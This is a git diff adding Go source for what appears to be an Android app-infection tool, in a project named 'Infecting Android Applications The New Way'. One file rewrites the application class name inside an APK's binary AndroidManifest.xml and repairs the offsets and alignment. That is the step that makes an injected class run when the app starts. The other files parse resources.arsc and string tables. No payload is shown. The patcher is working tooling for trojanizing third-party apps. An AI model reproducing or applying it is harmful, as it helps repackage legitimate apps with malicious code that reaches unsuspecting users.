+ // how many bytes we add to manifest
+ lenDiff := newAppNameUTF16Len - originalLen
+
+ //// we need enough space to insert our name
+ androidManifestRawNew := make([]byte, len(androidManifestRaw)+newAppNameUTF16Len-originalLen)
+
+ log.Printf("new applciation name = %s, new application length = 0x%0x\n",
+ newAppNameUTF8, newAppNameUTF16Len)
+
+ // copy everything until application name string
+ copy(androidManifestRawNew, androidManifestRaw[:pos])
+
+ // copy our name
+ copy(androidManifestRawNew[pos:], []byte(newAppNameUTF16))
+
+ // copy everything after name
+ copy(androidManifestRawNew[pos+len([]byte(newAppNameUTF16)):], androidManifestRaw[pos+originalLen:])
+
+ // calc position where we should insert alignment bytes
+ alignPos := (newAppNameUTF16Len - originalLen) + StringTableEndPos
+
+ log.Printf("alignPos = 0x%0x\n", alignPos)
+
+ // how many bytes we should insert?
+ // The main idea - data after string table should be
+ // aligned to 4 bytes
+ alignCount = uint32(alignPos % 4)
+
+ log.Printf("align = %d\n", alignCount)
+
+ if alignCount != 0 {
+ var alignSlice = make([]byte, alignCount)
+
+ // insert byte alignment
+ androidManifestRawNew = append(androidManifestRawNew[:alignPos], append(alignSlice, androidManifestRawNew[alignPos:]...)...)
+
+ }
+
+ return androidManifestRawNew, lenDiff
+}
+
+// we should find from what offset in StringOffsets
+// we should start changing offsets by incrementing them to
+// number of characters application name expanded
+// manifest_strings.dmp contains all strings
+// we should count strings after application name
+// it will be position of offset
+
+func getAppNameOffset() uint32 {
+
+ // position in string offset
+ //var appNameOff uint32 = 1
+ var pos uint32
+
+ data, err := ioutil.ReadFile(ManifestStringsDmp)
+ if err != nil {
+ panic(err)
+ }
+
+ // searching application name position in string dump
+ // we substract 2 because real offset is the offset to strLen + str
+ // but we found offset to just str
+ pos = uint32(bytes.Index(data, []byte(oldAppNameUTF16)) - 2)
+
+ log.Printf("application name position in string dump = 0x%x", pos)
+
+ return pos
+}
+
+func patchOffsetTable(data []byte, appNameOff, lenDiff uint32) {
+
+ var offset uint32
+
+ offsetTableReader := bytes.NewReader(data)
+
+ var j uint32 = 0
+ for i := uint32(1); i <= StringCnt - appNameOff; i++ {
+
+ //read offset
+ err := binary.Read(offsetTableReader, binary.LittleEndian, &offset)
+ if err != nil {
+ log.Panic("Failed to read offset", err)
+ }
+
+ log.Printf("Original offset = 0x%x", offset)
+
+ //increment it to length of symbol added
+ offset += lenDiff
+
+ log.Printf("New offset = 0x%x", offset)
+
+ binary.LittleEndian.PutUint32(data[j:], offset)
+ j += 4
+ }
+}
+
+func patchStringTableLen(data []byte) {
+
+ var stringTableLen uint32
+
+ stringTableLenReader := bytes.NewReader(data)
+
+ err := binary.Read(stringTableLenReader, binary.LittleEndian, &stringTableLen)
+ if err != nil {
+ log.Panic("Failed to read offset", err)
+ }
+
+ // calc how many bytes we added to manifest
+ // it's a difference between new name and old name
+ // *2 - because they are in UTF-16
+ // IMPORTANT! stringTableLen - must be 4 byte aligned
+ newLen := len(newAppNameUTF16)
+ oldLen := len(oldAppNameUTF16)
+ stringTableLenNew := uint32(int(stringTableLen) + newLen - oldLen)
+
+ // align
+ stringTableLenNew += alignCount
+
+ binary.LittleEndian.PutUint32(data, stringTableLenNew)
+}
+
+func Patch() {
+
+ var androidManifestRaw, lenDiff = patchApplication()
+
+ log.Printf("New manifest len = 0x%0x\n", len(androidManifestRaw))
+
+ // after we insert new application name we need to increase length of manifest len
+ binary.LittleEndian.PutUint32(androidManifestRaw[fileLenOffset:], uint32(len(androidManifestRaw)))
+
+ var appNameOff = getAppNameOffset()
+
+ // search offset in manifest
+ appNameOffArr := make([]byte, 4)
+ binary.LittleEndian.PutUint32(appNameOffArr, appNameOff)
+
+ pos := uint32(bytes.Index(androidManifestRaw, appNameOffArr))
+
+ log.Printf("application name offset in manifest = 0x%x", pos)
+
+ // we step to next offset after our found app name offset
+ pos += 4
+
+ // locate the end of stringTableOffset (equals to the start of strings)
+ var stringTableInfoSize uint32
+ var stringOffsetTableEnd uint32
+
+ stringTableInfoSizeReader := bytes.NewReader(androidManifestRaw[stringTableInfoSizeOffset:])
+
+ err := binary.Read(stringTableInfoSizeReader, binary.LittleEndian, &stringTableInfoSize)
+ if err != nil {
+ log.Panic("Failed to read offset", err)
+ }
+
+ log.Printf("stringTableInfoSize = 0x%x", stringTableInfoSize)
+
+ // 0x8 - start of StringTableInfo section
+ stringOffsetTableEnd = 0x8 + stringTableInfoSize
+
+ log.Printf("stringOffsetTableEnd = 0x%x", stringOffsetTableEnd)
+
+ //start reading & patching
+ offsetTableReader := bytes.NewReader(androidManifestRaw[pos:])
+
+ var j = pos
+ var offset uint32
+ for i := pos; i < stringOffsetTableEnd; {
+
+ //read offset
+ err := binary.Read(offsetTableReader, binary.LittleEndian, &offset)
+ if err != nil {
+ log.Panic("Failed to read offset", err)
+ }
+
+ //log.Printf("Original offset = 0x%x", offset)
+
+ //increment it to length of symbol added
+ offset += uint32(lenDiff)
+
+ //log.Printf("New offset = 0x%x", offset)
+
+ //patch with new value
+ binary.LittleEndian.PutUint32(androidManifestRaw[j:], offset)
+ j += 4
+ i += 4
+ }
+
+ patchStringTableLen(androidManifestRaw[offsetStringTableLen:])
+
+ common.WriteChanges(androidManifestRaw, common.ManifestBinaryPath)
+}
+
+// Search application name in decoded android manifest
+func getAppName() string {
+
+ // read manifest to byte array
+ content, err := ioutil.ReadFile(PlainPath)
+ if err != nil {
+ panic(err)
+ }
+
+ //defer func() {
+ // err = os.Remove(manifestPlainPath)
+ //
+ // if err != nil {
+ // panic(err)
+ // }
+ //} ()
+
+ // structs for XML nodes
+ type Application struct {
+ Name string `xml:"name,attr"`
+ }
+
+ type Result struct {
+ XMLName xml.Name `xml:"manifest"`
+ Application Application `xml:"application"`
+ }
+
+ v := new(Result)
+
+ err = xml.Unmarshal(content, v)
+ if err != nil {
+ log.Panic("Failed to unmarshal XML", err)
+ return ""
+ }
+
+ return v.Application.Name
+}
diff --git a/Infecting Android Applications The New Way/master/manifest/resources.go b/Infecting Android Applications The New Way/master/manifest/resources.go
new file mode 100644
index 0000000..9778477
--- /dev/null
+++ b/Infecting Android Applications The New Way/master/manifest/resources.go
@@ -0,0 +1,682 @@
+package manifest
+
+import (
+ "bytes"
+ "encoding/binary"
+ "errors"
+ "fmt"
+ "io"
+ "io/ioutil"
+ "log"
+ "math"
+ "strings"
+ "unicode/utf16"
+)
+
+var ErrUnknownResourceDataType = errors.New("Unknown resource data type")
+
+// Contains parsed resources.arsc file.
+type ResourceTable struct {
+ mainStrings stringTable
+ nextPackageId uint32
+ packages map[uint32]*packageGroup
+}
+
+type packageGroup struct {
+ Name string
+ Id uint32
+ Packages []*resourcePackage
+
+ table *ResourceTable
+ largestTypeId uint8
+ types map[uint8][]resourceTypeSpec
+}
+
+type resourcePackage struct {
+ Id uint32
+ Name string
+
+ typeIdOffset uint32
+ typeStrings stringTable
+ keyStrings stringTable
+}
+
+type resourceTypeSpec struct {
+ Id uint8
+ Entries []uint32
+ Package *resourcePackage
+
+ Configs []*resourceType
+}
+
+type resourceType struct {
+ chunkData []byte
+ entryCount uint32
+ entriesStart uint32
+ indexesStart uint32
+
+ // ResTable_config config;
+}
+
+const (
+ tableEntryComplex = 0x0001
+ tableEntryPublic = 0x0002
+ tableEntryWeak = 0x0004
+)
+
+// Describes one resource entry, for example @drawable/icon in the original XML, in one particular config option.
+type ResourceEntry struct {
+ size uint16
+ flags uint16
+
+ ResourceType string
+ Key string
+ Package string
+
+ value ResourceValue
+}
+
+// Handle to the resource's actual value.
+type ResourceValue struct {
+ dataType AttrType
+ data uint32
+
+ globalStringTable *stringTable
+ convertedData interface{}
+}
+
+// Resource config option to pick from options - when @drawable/icon is referenced,
+// use /res/drawable-xhdpi/icon.png or use /res/drawable-mdpi/icon.png?
+//
+// This is not fully implemented, so you can pick only first seen or last seen option.
+type ResourceConfigOption int
+
+const (
+ ConfigFirst ResourceConfigOption = iota // Usually the smallest
+ ConfigLast // Usually the biggest
+
+ // Try to find the biggest png icon, otherwise same as ConfigLast.
+ //
+ // Deprecated: use GetIconPng
+ ConfigPngIcon
+)
+
+// Parses the resources.arsc file
+func ParseResourceTable(r io.Reader) *ResourceTable {
+ res := ResourceTable{
+ nextPackageId: 2,
+ packages: make(map[uint32]*packageGroup),
+ }
+
+ id, hdrLen, totalLen, err := parseChunkHeader(r)
+ if err != nil {
+ log.Panic("parseChunkHeader() failed", err)
+ }
+
+ var packageCurrent, packagesCnt uint32
+ if err = binary.Read(r, binary.LittleEndian, &packagesCnt); err != nil {
+ log.Panic("Failed to read packagesCnt", err)
+ }
+
+ if hdrLen < chunkHeaderSize+4 {
+ log.Panicf("Invalid header length: %d", hdrLen)
+ }
+
+ totalLen -= uint32(hdrLen)
+ hdrLen -= chunkHeaderSize + 4
+
+ if _, err = io.CopyN(ioutil.Discard, r, int64(hdrLen)); err != nil {
+ log.Panic("Failed to read header padding: %s", err.Error())
+ }
+
+ var len uint32
+ var lastId uint16
+ for i := uint32(0); i < totalLen; i += len {
+ id, hdrLen, len, err = parseChunkHeader(r)
+ if err != nil {
+ log.Panicf("Error parsing header at 0x%08x of 0x%08x %08x: %s", i, totalLen, lastId, err.Error())
+ }
+
+ lastId = id
+
+ lm := &io.LimitedReader{R: r, N: int64(len) - chunkHeaderSize}
+
+ switch id {
+ case chunkStringTable:
+ if res.mainStrings.isEmpty() {
+ res.mainStrings, err = parseStringTable(lm)
+ }
+ case chunkTablePackage:
+ if packageCurrent >= packagesCnt {
+ log.Panicf("Chunk: 0x%08x: Too many package chunks", id)
+ }
+
+ err = res.parsePackage(lm, hdrLen)
+ packageCurrent++
+ default:
+ err = fmt.Errorf("Unknown chunk: 0x%08x at %d.", id, i+chunkHeaderSize+4)
+ //_, err = io.CopyN(ioutil.Discard, lm, lm.N)
+ }
+
+ if err != nil {
+ log.Panicf("Chunk: 0x%08x: %s", id, err.Error())
+ } else if lm.N != 0 {
+ log.Panicf("Chunk: 0x%08x: was not fully read", id)
+ }
+ }
+ return &res
+}
+
+func (x *ResourceTable) parsePackage(r *io.LimitedReader, hdrLen uint16) error {
+ pkgBlock, err := ioutil.ReadAll(r)
+ if err != nil {
+ return fmt.Errorf("error reading package block: %s", err.Error())
+ }
+
+ pkgReader := bytes.NewReader(pkgBlock)
+
+ const valsSize = chunkHeaderSize + 4 + 2*128 + 4*5
+ vals := struct {
+ Id uint32
+ Name [128]uint16
+ TypeStrings uint32
+ LastPublicType uint32
+ KeyStrings uint32
+ LastPublicKey uint32
+ TypeIdOffset uint32
+ }{}
+
+ if err := binary.Read(pkgReader, binary.LittleEndian, &vals); err != nil {
+ return fmt.Errorf("error reading values: %s", err.Error())
+ }
+
+ if vals.Id >= 256 {
+ return fmt.Errorf("package id out of range: %d", vals.Id)
+ }
+
+ if vals.Id == 0 {
+ vals.Id = x.nextPackageId
+ x.nextPackageId++
+ }
+
+ pkg := &resourcePackage{
+ Id: vals.Id,
+ }
+
+ // TypeIdOffset was added later and may not be present (frameworks/base@f90f2f8dc36e7243b85e0b6a7fd5a590893c827e)
+ if hdrLen >= valsSize {
+ pkg.typeIdOffset = vals.TypeIdOffset
+ }
+
+ pkg.Name = string(utf16.Decode(vals.Name[:]))
+ if idx := strings.IndexRune(pkg.Name, 0); idx != -1 {
+ pkg.Name = pkg.Name[:idx]
+ }
+
+ if vals.TypeStrings < chunkHeaderSize || vals.KeyStrings <= chunkHeaderSize {
+ return fmt.Errorf("Invalid strings offset: %d %d", vals.TypeStrings, vals.KeyStrings)
+ }
+
+ vals.TypeStrings -= chunkHeaderSize
+ vals.KeyStrings -= chunkHeaderSize
+
+ if _, err := pkgReader.Seek(int64(vals.TypeStrings), io.SeekStart); err != nil {
+ return err
+ }
+
+ if pkg.typeStrings, err = parseStringTableWithChunk(pkgReader); err != nil {
+ return err
+ }
+
+ if _, err := pkgReader.Seek(int64(vals.KeyStrings), io.SeekStart); err != nil {
+ return err
+ }
+
+ if pkg.keyStrings, err = parseStringTableWithChunk(pkgReader); err != nil {
+ return err
+ }
+
+ group, prs := x.packages[pkg.Id]
+ if !prs {
+ group = &packageGroup{
+ Id: pkg.Id,
+ Name: pkg.Name,
+ table: x,
+ types: make(map[uint8][]resourceTypeSpec),
+ }
+ x.packages[pkg.Id] = group
+
+ /*
+ // Find all packages that reference this package
+ size_t N = mpackageGroups.size();
+ for (size_t i = 0; i < N; i++) {
+ mpackageGroups[i]->dynamicRefTable.addMapping(
+ group->name, static_cast(group->id));
+ }
+ */
+ }
+
+ group.Packages = append(group.Packages, pkg)
+
+ if _, err := pkgReader.Seek(int64(hdrLen-chunkHeaderSize), io.SeekStart); err != nil {
+ return err
+ }
+
+ for {
+ chunkStartOffset, _ := pkgReader.Seek(0, io.SeekCurrent)
+
+ id, hdrLen, totalLen, err := parseChunkHeader(pkgReader)
+ if err == io.EOF {
+ break
+ } else if err != nil {
+ return fmt.Errorf("Error parsing package internal header: %s", err.Error())
+ }
+
+ // Sample: 7e97541191621e72bd794b5b2d60eb2f68669ea8782421e54ec719ccda06c8a4
+ if chunkStartOffset+int64(totalLen) >= int64(len(pkgBlock)) {
+ totalLen = uint32(int64(len(pkgBlock)) - chunkStartOffset)
+ }
+
+ lm := &io.LimitedReader{R: pkgReader, N: int64(totalLen) - chunkHeaderSize}
+
+ switch id {
+ case chunkTableTypeSpec:
+ err = x.parseTypeSpec(lm, pkg, group)
+ case chunkTableType:
+ block := pkgBlock[chunkStartOffset : chunkStartOffset+int64(totalLen)]
+ if err = x.parseType(lm, pkg, group, block, hdrLen); err != nil {
+ break
+ }
+ fallthrough
+ default:
+ _, err = io.CopyN(ioutil.Discard, lm, lm.N)
+ }
+
+ if err != nil {
+ return fmt.Errorf("Chunk: 0x%08x: %s", id, err.Error())
+ } else if lm.N != 0 {
+ return fmt.Errorf("Chunk: 0x%08x: was not fully read", id)
+ }
+ }
+
+ return nil
+}
+
+func (x *ResourceTable) parseTypeSpec(r io.Reader, pkg *resourcePackage, group *packageGroup) error {
+ var id uint8
+ if err := binary.Read(r, binary.LittleEndian, &id); err != nil {
+ return fmt.Errorf("Failed to read type spec id: %s", err.Error())
+ }
+
+ if id == 0 {
+ return fmt.Errorf("Invalid type spec id: %d", id)
+ }
+
+ if _, err := io.CopyN(ioutil.Discard, r, 1+2); err != nil {
+ return fmt.Errorf("Failed to skip padding: %s", err.Error())
+ }
+
+ var entryCount uint32
+ if err := binary.Read(r, binary.LittleEndian, &entryCount); err != nil {
+ return fmt.Errorf("Failed to read entryCount: %s", err.Error())
+ }
+
+ if entryCount > 0 {
+ var entries []uint32
+ for i := uint32(0); i < entryCount; i++ {
+ var e uint32
+ if err := binary.Read(r, binary.LittleEndian, &e); err != nil {
+ return fmt.Errorf("Failed to read type spec entry: %s", err.Error())
+ }
+ entries = append(entries, e)
+ }
+
+ group.types[id] = append(group.types[id], resourceTypeSpec{
+ Id: id,
+ Entries: entries,
+ Package: pkg,
+ })
+
+ if id > group.largestTypeId {
+ group.largestTypeId = id
+ }
+ }
+ return nil
+}
+
+func (x *ResourceTable) parseType(r io.Reader, pkg *resourcePackage, group *packageGroup, chunkData []byte, hdrLen uint16) error {
+ vals := struct {
+ Id uint8
+ Res0 uint8
+ Res1 uint16
+
+ EntryCount uint32
+ EntriesStart uint32
+
+ //ResTable_config config;
+ }{}
+
+ if err := binary.Read(r, binary.LittleEndian, &vals); err != nil {
+ return fmt.Errorf("error reading values: %s", err.Error())
+ }
+
+ if vals.Id == 0 {
+ return fmt.Errorf("Invalid type id: %d", vals.Id)
+ }
+
+ if vals.EntryCount > 0 {
+ typeList := group.types[vals.Id]
+ if len(typeList) == 0 {
+ return fmt.Errorf("No spec entry for type %d", vals.Id)
+ }
+
+ i := len(typeList) - 1
+ typeList[i].Configs = append(typeList[i].Configs, &resourceType{
+ chunkData: chunkData,
+ entryCount: vals.EntryCount,
+ entriesStart: vals.EntriesStart,
+ indexesStart: uint32(hdrLen),
+ })
+ }
+ return nil
+}
+
+// Converts the resource id to readable name including the package name like "@drawable:com.example.app.icon".
+func (x *ResourceTable) GetResourceName(resId uint32) (string, error) {
+ pkgId := (resId >> 24)
+ typ := ((resId >> 16) & 0xFF) - 1
+ entryId := (resId & 0xFFFF)
+
+ group := x.packages[pkgId]
+ if group == nil {
+ return "", fmt.Errorf("Invalid package identifier.")
+ }
+
+ entry, err := x.getEntry(group, typ, entryId, ConfigFirst)
+ if err != nil {
+ return "", err
+ }
+
+ return fmt.Sprintf("@%s:%s.%s", entry.ResourceType, group.Name, entry.Key), nil
+}
+
+// Returns the resource entry for resId and the first configuration option it finds.
+func (x *ResourceTable) GetResourceEntry(resId uint32) (*ResourceEntry, error) {
+ return x.GetResourceEntryEx(resId, ConfigFirst)
+}
+
+// Returns the resource entry for resId and config configuration option.
+func (x *ResourceTable) GetResourceEntryEx(resId uint32, config ResourceConfigOption) (*ResourceEntry, error) {
+ if config == ConfigPngIcon {
+ return x.GetIconPng(resId)
+ }
+
+ pkgId := (resId >> 24)
+ typ := ((resId >> 16) & 0xFF) - 1
+ entryId := (resId & 0xFFFF)
+
+ group := x.packages[pkgId]
+ if group == nil {
+ return nil, fmt.Errorf("Invalid package identifier.")
+ }
+
+ return x.getEntry(group, typ, entryId, config)
+}
+
+// Return the biggest last config ending with .png. Falls back to GetResourceEntry() if none found.
+func (x *ResourceTable) GetIconPng(resId uint32) (*ResourceEntry, error) {
+ pkgId := (resId >> 24)
+ typ := ((resId >> 16) & 0xFF) - 1
+ entryId := (resId & 0xFFFF)
+
+ group := x.packages[pkgId]
+ if group == nil {
+ return nil, fmt.Errorf("Invalid package identifier.")
+ }
+
+ entries, err := x.getEntryConfigs(group, typ, entryId, 256)
+ if len(entries) == 0 {
+ return nil, err
+ }
+
+ var res *ResourceEntry
+ for i := 0; i < len(entries) && i < 1024; i++ {
+ e := entries[i]
+ if e.value.dataType == AttrTypeReference {
+ pkgId = (e.value.data >> 24)
+ typ = ((e.value.data >> 16) & 0xFF) - 1
+ entryId = (e.value.data & 0xFFFF)
+
+ if more, _ := x.getEntryConfigs(group, typ, entryId, 256); len(more) != 0 {
+ entries = append(entries, more...)
+ }
+ } else if val, _ := e.value.String(); strings.HasSuffix(val, ".png") {
+ res = e
+ }
+ }
+
+ if res == nil {
+ return x.GetResourceEntry(resId)
+ }
+ return res, nil
+}
+
+func (x *ResourceTable) getEntry(group *packageGroup, typeId, entry uint32, config ResourceConfigOption) (*ResourceEntry, error) {
+ limit := 1024
+ if config == ConfigFirst {
+ limit = 1
+ }
+
+ entries, err := x.getEntryConfigs(group, typeId, entry, limit)
+ if len(entries) == 0 {
+ return nil, err
+ }
+ res := entries[len(entries)-1]
+ return res, err
+}
+
+func (x *ResourceTable) getEntryConfigs(group *packageGroup, typeId, entry uint32, limit int) ([]*ResourceEntry, error) {
+ typeList := group.types[uint8(typeId+1)]
+ if len(typeList) == 0 {
+ return nil, fmt.Errorf("Invalid type: %d", typeId)
+ }
+
+ var lastErr error
+ var entries []*ResourceEntry
+ for _, typ := range typeList {
+ for _, thisType := range typ.Configs {
+ if entry >= thisType.entryCount {
+ continue
+ }
+
+ r := bytes.NewReader(thisType.chunkData)
+ if _, err := r.Seek(int64(thisType.indexesStart+entry*4), io.SeekStart); err != nil {
+ return nil, err
+ }
+
+ var thisOffset uint32
+ if err := binary.Read(r, binary.LittleEndian, &thisOffset); err != nil {
+ return nil, fmt.Errorf("Failed to read this type offset: %s", err.Error())
+ }
+
+ if thisOffset == math.MaxUint32 {
+ continue
+ }
+
+ offset := thisType.entriesStart + thisOffset
+
+ if int(offset) >= len(thisType.chunkData) || ((offset & 0x03) != 0) {
+ return nil, fmt.Errorf("Invalid entry 0x%04x offset: %d!", entry, offset)
+ }
+
+ if _, err := r.Seek(int64(offset), io.SeekStart); err != nil {
+ return nil, err
+ }
+
+ res, err := x.parseEntry(r, typ.Package, typeId)
+ if err != nil {
+ lastErr = err
+ } else {
+ entries = append(entries, res)
+ }
+
+ if len(entries) >= limit {
+ goto exit
+ }
+ }
+ }
+
+ if len(entries) == 0 {
+ return nil, fmt.Errorf("No entry found.")
+ }
+exit:
+ return entries, lastErr
+}
+
+func (x *ResourceTable) parseEntry(r io.Reader, pkg *resourcePackage, typeId uint32) (*ResourceEntry, error) {
+ var err error
+ var res ResourceEntry
+ var keyIndex uint32
+
+ if err := binary.Read(r, binary.LittleEndian, &res.size); err != nil {
+ return nil, fmt.Errorf("Failed to read entry size: %s", err.Error())
+ }
+
+ if err := binary.Read(r, binary.LittleEndian, &res.flags); err != nil {
+ return nil, fmt.Errorf("Failed to read entry flags: %s", err.Error())
+ }
+
+ if err := binary.Read(r, binary.LittleEndian, &keyIndex); err != nil {
+ return nil, fmt.Errorf("Failed to read entry key index: %s", err.Error())
+ }
+
+ res.Package = pkg.Name
+
+ res.ResourceType, err = pkg.typeStrings.get(typeId - pkg.typeIdOffset)
+ if err != nil {
+ return nil, fmt.Errorf("Invalid typeString: %s", err.Error())
+ }
+
+ res.Key, err = pkg.keyStrings.get(keyIndex)
+ if err != nil {
+ return nil, fmt.Errorf("Invalid keyString: %s", err.Error())
+ }
+
+ if !res.IsComplex() {
+ var size uint16
+ if err := binary.Read(r, binary.LittleEndian, &size); err != nil {
+ return nil, fmt.Errorf("Failed to read entry value size: %s", err.Error())
+ }
+
+ if size < 8 {
+ return nil, fmt.Errorf("Invalid Res_value size: %d!", size)
+ }
+
+ if _, err := io.CopyN(ioutil.Discard, r, 1); err != nil {
+ return nil, fmt.Errorf("Failed to read entry value res0: %s", err.Error())
+ }
+
+ if err := binary.Read(r, binary.LittleEndian, &res.value.dataType); err != nil {
+ return nil, fmt.Errorf("Failed to read entry value data type: %s", err.Error())
+ }
+
+ if err := binary.Read(r, binary.LittleEndian, &res.value.data); err != nil {
+ return nil, fmt.Errorf("Failed to read entry value data: %s", err.Error())
+ }
+
+ res.value.globalStringTable = &x.mainStrings
+
+ } else {
+ // NYI
+ }
+
+ return &res, nil
+}
+
+// Returns true if the resource entry is complex (for example arrays, string plural arrays...).
+//
+// Complex ResourceEntries are not yet supported.
+func (e *ResourceEntry) IsComplex() bool {
+ return (e.flags & tableEntryComplex) != 0
+}
+
+// Returns the resource value handle
+func (e *ResourceEntry) GetValue() *ResourceValue {
+ return &e.value
+}
+
+// Returns the resource data type
+func (v *ResourceValue) Type() AttrType {
+ return v.dataType
+}
+
+// Returns the raw data of the resource
+func (v *ResourceValue) RawData() uint32 {
+ return v.data
+}
+
+// Returns the data converted to their native type (e.g. AttrTypeString to string).
+//
+// Returns ErrUnknownResourceDataType if the type is not handled by this library
+func (v *ResourceValue) Data() (interface{}, error) {
+ if v.convertedData != nil {
+ return v.convertedData, nil
+ }
+
+ var val interface{}
+ var err error
+
+ switch v.dataType {
+ case AttrTypeNull:
+ case AttrTypeString:
+ val, err = v.globalStringTable.get(v.data)
+ if err != nil {
+ return nil, err
+ }
+ case AttrTypeIntDec, AttrTypeIntHex, AttrTypeIntBool,
+ AttrTypeIntColorArgb8, AttrTypeIntColorRgb8,
+ AttrTypeIntColorArgb4, AttrTypeIntColorRgb4,
+ AttrTypeReference:
+ val = v.data
+ default:
+ return nil, ErrUnknownResourceDataType
+ }
+
+ v.convertedData = val
+ return val, nil
+}
+
+// Returns the data converted to a readable string, to the format it was likely in the original AndroidManifest.xml.
+//
+// Unknown data types are returned as the string from ErrUnknownResourceDataType.Error().
+func (v *ResourceValue) String() (res string, err error) {
+ switch v.dataType {
+ case AttrTypeNull:
+ res = "null"
+ case AttrTypeIntHex:
+ res = fmt.Sprintf("0x%x", v.data)
+ case AttrTypeIntBool:
+ if v.data != 0 {
+ res = "true"
+ } else {
+ res = "false"
+ }
+ case AttrTypeIntColorArgb8:
+ res = fmt.Sprintf("#%08x", v.data)
+ case AttrTypeIntColorRgb8:
+ res = fmt.Sprintf("#%06x", v.data)
+ case AttrTypeIntColorArgb4:
+ res = fmt.Sprintf("#%04x", v.data)
+ case AttrTypeIntColorRgb4:
+ res = fmt.Sprintf("#%03x", v.data)
+ case AttrTypeReference:
+ res = fmt.Sprintf("@%x", v.data)
+ default:
+ var val interface{}
+ val, err = v.Data()
+ if err == nil {
+ res = fmt.Sprintf("%v", val)
+ }
+ }
+ return
+}
diff --git a/Infecting Android Applications The New Way/master/manifest/stringtable.go b/Infecting Android Applications The New Way/master/manifest/stringtable.go
new file mode 100644
index 0000000..5c2db80
--- /dev/null
+++ b/Infecting Android Applications The New Way/master/manifest/stringtable.go
@@ -0,0 +1,251 @@
+package manifest
+
+import (
+ "bytes"
+ "encoding/binary"
+ "fmt"
+ "io"
+ "io/ioutil"
+ "math"
+ "path/filepath"
+ "strings"
+ "unicode/utf16"
+ "unicode/utf8"
+)
+
+const (
+ stringFlagSorted = 0x00000001
+ stringFlagUtf8 = 0x00000100
+)
+
+var StringCnt uint32
+var ManifestStringsDmp, _ = filepath.Abs("manifest_strings.dmp")
+var StringTableEndPos int
+
+type stringTable struct {
+ isUtf8 bool
+ stringOffsets []byte
+ data []byte
+ cache map[uint32]string
+}
+
+func parseStringTableWithChunk(r io.Reader) (res stringTable, err error) {
+ id, _, totalLen, err := parseChunkHeader(r)
+ if err != nil {
+ return
+ }
+
+ if id != chunkStringTable {
+ err = fmt.Errorf("Invalid chunk id 0x%08x, expected 0x%08x", id, chunkStringTable)
+ return
+ }
+
+ return parseStringTable(&io.LimitedReader{R: r, N: int64(totalLen - chunkHeaderSize)})
+}
+
+func check(e error) {
+ if e != nil {
+ panic(e)
+ }
+}
+
+func dumpStrings(data []byte) {
+ err := ioutil.WriteFile(ManifestStringsDmp, data, 0644)
+ check(err)
+}
+
+func parseStringTable(r *io.LimitedReader) (stringTable, error) {
+ var err error
+ var stringOffset, flags uint32
+ var res stringTable
+ // stringCnt - STRING COUNT
+ if err := binary.Read(r, binary.LittleEndian, &StringCnt); err != nil {
+ return res, fmt.Errorf("error reading stringCnt: %s", err.Error())
+ }
+
+ // skip styles count
+ if _, err = io.CopyN(ioutil.Discard, r, 4); err != nil {
+ return res, fmt.Errorf("error reading styleCnt: %s", err.Error())
+ }
+
+ if err := binary.Read(r, binary.LittleEndian, &flags); err != nil {
+ return res, fmt.Errorf("error reading flags: %s", err.Error())
+ }
+
+ res.isUtf8 = (flags & stringFlagUtf8) != 0
+ if res.isUtf8 {
+ flags &^= stringFlagUtf8
+ }
+ flags &^= stringFlagSorted // just ignore
+
+ if flags != 0 {
+ return res, fmt.Errorf("Unknown string flag: 0x%08x", flags)
+ }
+
+ if err := binary.Read(r, binary.LittleEndian, &stringOffset); err != nil {
+ return res, fmt.Errorf("error reading stringOffset: %s", err.Error())
+ }
+
+ // skip styles offset
+ if _, err = io.CopyN(ioutil.Discard, r, 4); err != nil {
+ return res, fmt.Errorf("error reading styleOffset: %s", err.Error())
+ }
+
+ // Read lengths
+ if StringCnt >= 2*1024*1024 {
+ return res, fmt.Errorf("Too many strings in this file (%d).", StringCnt)
+ }
+ // allocate memory for each offset. 1 offset for 1 string. 1 offset = 4 bytes
+ res.stringOffsets = make([]byte, 4*StringCnt)
+ // fill stringOffssets array with offsets. Read from manifest
+ if _, err := io.ReadFull(r, res.stringOffsets); err != nil {
+ return res, fmt.Errorf("Failed to read string offsets data: %s", err.Error())
+ }
+
+ remainder := int64(stringOffset) - 7*4 - 4*int64(StringCnt)
+ if remainder < 0 {
+ return res, fmt.Errorf("Wrong string offset (got remainder %d)", remainder)
+ } else if remainder > 0 {
+ if _, err = io.CopyN(ioutil.Discard, r, remainder); err != nil {
+ return res, fmt.Errorf("error reading styleArray: %s", err.Error())
+ }
+ }
+
+ // read STRINGS
+ // TODO Здесь в r.N попал resourceID, а это не должно быть
+ res.data = make([]byte, r.N)
+ if _, err := io.ReadFull(r, res.data); err != nil {
+ return res, fmt.Errorf("Failed to read string table data: %s", err.Error())
+ }
+ // write res.data to stdout. res.data contains = resource strings and manifest in plaintext
+ if mr, ok := r.R.(myRead); ok {
+ StringTableEndPos = mr.GetRead()
+ }
+ dumpStrings(res.data)
+
+ res.cache = make(map[uint32]string)
+ return res, nil
+}
+
+func (t *stringTable) parseString16(r io.Reader) (string, error) {
+ var strCharacters uint32
+ var strCharactersLow, strCharactersHigh uint16
+
+ if err := binary.Read(r, binary.LittleEndian, &strCharactersHigh); err != nil {
+ return "", fmt.Errorf("error reading string char count: %s", err.Error())
+ }
+
+ if (strCharactersHigh & 0x8000) != 0 {
+ if err := binary.Read(r, binary.LittleEndian, &strCharactersLow); err != nil {
+ return "", fmt.Errorf("error reading string char count: %s", err.Error())
+ }
+
+ strCharacters = (uint32(strCharactersHigh&0x7FFF) << 16) | uint32(strCharactersLow)
+ } else {
+ strCharacters = uint32(strCharactersHigh)
+ }
+
+ buf := make([]uint16, int64(strCharacters))
+ if err := binary.Read(r, binary.LittleEndian, &buf); err != nil {
+ return "", fmt.Errorf("error reading string : %s", err.Error())
+ }
+
+ decoded := utf16.Decode(buf)
+ for len(decoded) != 0 && decoded[len(decoded)-1] == 0 {
+ decoded = decoded[:len(decoded)-1]
+ }
+
+ return string(decoded), nil
+}
+
+func (t *stringTable) parseString8Len(r io.Reader) (int64, error) {
+ var strCharacters int64
+ var strCharactersLow, strCharactersHigh uint8
+
+ if err := binary.Read(r, binary.LittleEndian, &strCharactersHigh); err != nil {
+ return 0, fmt.Errorf("error reading string char count: %s", err.Error())
+ }
+
+ if (strCharactersHigh & 0x80) != 0 {
+ if err := binary.Read(r, binary.LittleEndian, &strCharactersLow); err != nil {
+ return 0, fmt.Errorf("error reading string char count: %s", err.Error())
+ }
+ strCharacters = (int64(strCharactersHigh&0x7F) << 8) | int64(strCharactersLow)
+ } else {
+ strCharacters = int64(strCharactersHigh)
+ }
+ return strCharacters, nil
